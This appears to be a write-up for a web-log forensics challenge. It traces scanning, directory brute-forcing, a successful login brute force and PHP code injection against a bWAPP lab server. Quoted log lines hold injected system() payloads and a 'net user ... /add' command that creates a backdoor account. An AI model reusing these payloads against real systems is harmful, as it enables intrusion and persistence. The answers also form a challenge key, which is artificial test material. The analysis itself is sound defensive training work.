

Web Attack Log Investigation

Secenario:

We detected some web attacks and need to do deep investigation.

Objective:

Investigate suspicious activity captured in the provided Apache access log file and identify signs of a potential web attack.

Challenge 1:

Which automated scan tool did attacker use for web reconnaissance?

Opened the access.log file located at /root/Desktop/ChallengeFile/access.log and inspected the User-Agent field in the HTTP requests.

Observed repeated requests within short time intervals, indicating automated scanning.

The User-Agent string revealed the tool Nikto, a widely used web vulnerability scanner.

```
192.168.199.5/bwAPP/portal.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0"
28 192.168.199.1 - - [20/Jun/2021:12:35:48 +0300] "GET /bwAPP/images/netsparker.gif HTTP/1.1" 304 -
    "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0)
    Gecko/20100101 Firefox/89.0"
29 192.168.199.1 - - [20/Jun/2021:12:35:48 +0300] "GET /bwAPP/images/mme.png HTTP/1.1" 304 -
    "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0)
    Gecko/20100101 Firefox/89.0"
30 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)"
31 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/ HTTP/1.1" 302 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:getinfo)"
32 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/ HTTP/1.1" 302 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
33 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.exe HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
34 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.show HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
35 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.java HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
```

Answer: The attacker used Nikto for web reconnaissance.

Challenge 2:

After web reconnaissance activity, which technique did attacker use for directory listing discovery?

Reviewed the access.log entries following the reconnaissance phase.

Noticed multiple attempts to access different directories and paths using an automated tool.

Each attempt returned a 400 status code (Bad Request), confirming the directories did not exist.

This behavior indicates the attacker was performing directory brute-forcing / directory enumeration to discover hidden resources.

```
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12372 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2004 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12373 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2005 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12374 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2006 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12375 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2007 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12376 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2008 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12377 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2009 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12378 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2010 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12379 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2011 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12380 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2012 HTTP/1.1" 404 300 "-"
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
```

Answer: The attacker used directory brute-forcing (directory enumeration) for directory listing discovery.

Challenge 3:

What is the third attack type after directory listing discovery?

```
12409 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/bg_3.jpg HTTP/1.1" 200 3188
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12410 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/bg_1.jpg HTTP/1.1" 200 123506
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12411 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/bg_2.jpg HTTP/1.1" 200 376472
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12412 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/sb_1.jpg HTTP/1.1" 200 3200
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12413 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/fonts/architectsdaughter.ttf HTTP/1.1" 200 43380
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12414 192.168.199.2 - - [20/Jun/2021:12:41:41 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12415 192.168.199.2 - - [20/Jun/2021:12:42:23 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
```

Examined the log entries that followed the directory enumeration attempts.

Observed several HTTP POST requests directed at a login form.

The requests consistently received 200 OK responses, but the response sizes were identical, suggesting authentication failures.

This pattern indicates repeated credential attempts rather than normal user behavior.

Answer: The attacker attempted a Brute Force Login Attack.

Challenge 4:

Is the third attack successful?

For most brute-force attempts, the attacker received 200 OK with a consistent response size of 4,086, showing repeated login failures.

At line 12,546, the log shows a 302 Found (redirect) response, sending the attacker to the portal page.

This was immediately followed by a 200 OK with a much larger response size of 23,369, consistent with a successful login and portal access.

```
12542 192.168.199.2 - - [20/Jun/2021:12:47:43 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12543 192.168.199.2 - - [20/Jun/2021:12:47:50 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12544 192.168.199.2 - - [20/Jun/2021:12:47:52 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12545 192.168.199.2 - - [20/Jun/2021:12:49:35 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12546 192.168.199.2 - - [20/Jun/2021:12:49:35 +0300] "POST /bwAPP/login.php HTTP/1.1" 302 - "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12547 192.168.199.2 - - [20/Jun/2021:12:50:10 +0300] "POST /bwAPP/login.php HTTP/1.1" 302 - "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12548 192.168.199.2 - - [20/Jun/2021:12:50:10 +0300] "GET /bwAPP/portal.php HTTP/1.1" 200 23369
"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12549 192.168.199.2 - - [20/Jun/2021:12:50:15 +0300] "POST /bwAPP/portal.php HTTP/1.1" 302 23369
"http://192.168.199.5/bwAPP/portal.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
```

Answer: Yes, the brute-force login attack was eventually successful.

Challenge 5:

Is there any persistency clue for the victim machine in the log file ? If yes, what is the related payload

```

12551 192.168.199.2 - - [20/Jun/2021:12:50:17 +0300] "GET /bwAPP/phpi.php?message=test HTTP/1.1" 200
12759 "http://192.168.199.5/bwAPP/phpi.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12552 192.168.199.2 - - [20/Jun/2021:12:51:37 +0300] "GET /bwAPP/phpi.php?message=test HTTP/1.1" 200
12759 "http://192.168.199.5/bwAPP/phpi.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12553 192.168.199.2 - - [20/Jun/2021:12:52:36 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27whoami%27) HTTP/1.1" 200 12778 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12554 192.168.199.2 - - [20/Jun/2021:12:52:46 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20user%27) HTTP/1.1" 200 13045 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12555 192.168.199.2 - - [20/Jun/2021:12:52:56 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20share%27) HTTP/1.1" 200 13175 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12556 192.168.199.2 - - [20/Jun/2021:12:53:13 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12557 192.168.199.2 - - [20/Jun/2021:12:53:23 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

```

Inspected the log for unusual encoded payloads.

Discovered a suspicious string:

%27net%20user%20hacker%20asd123!!%20/add%27

Decoded the payload, which translated to:

net user hacker asd123!! /add

This command attempts to create a new local user account on the victim machine, a clear sign of persistence.

Answer: Yes. The related payload is:

net user hacker asd123!! /add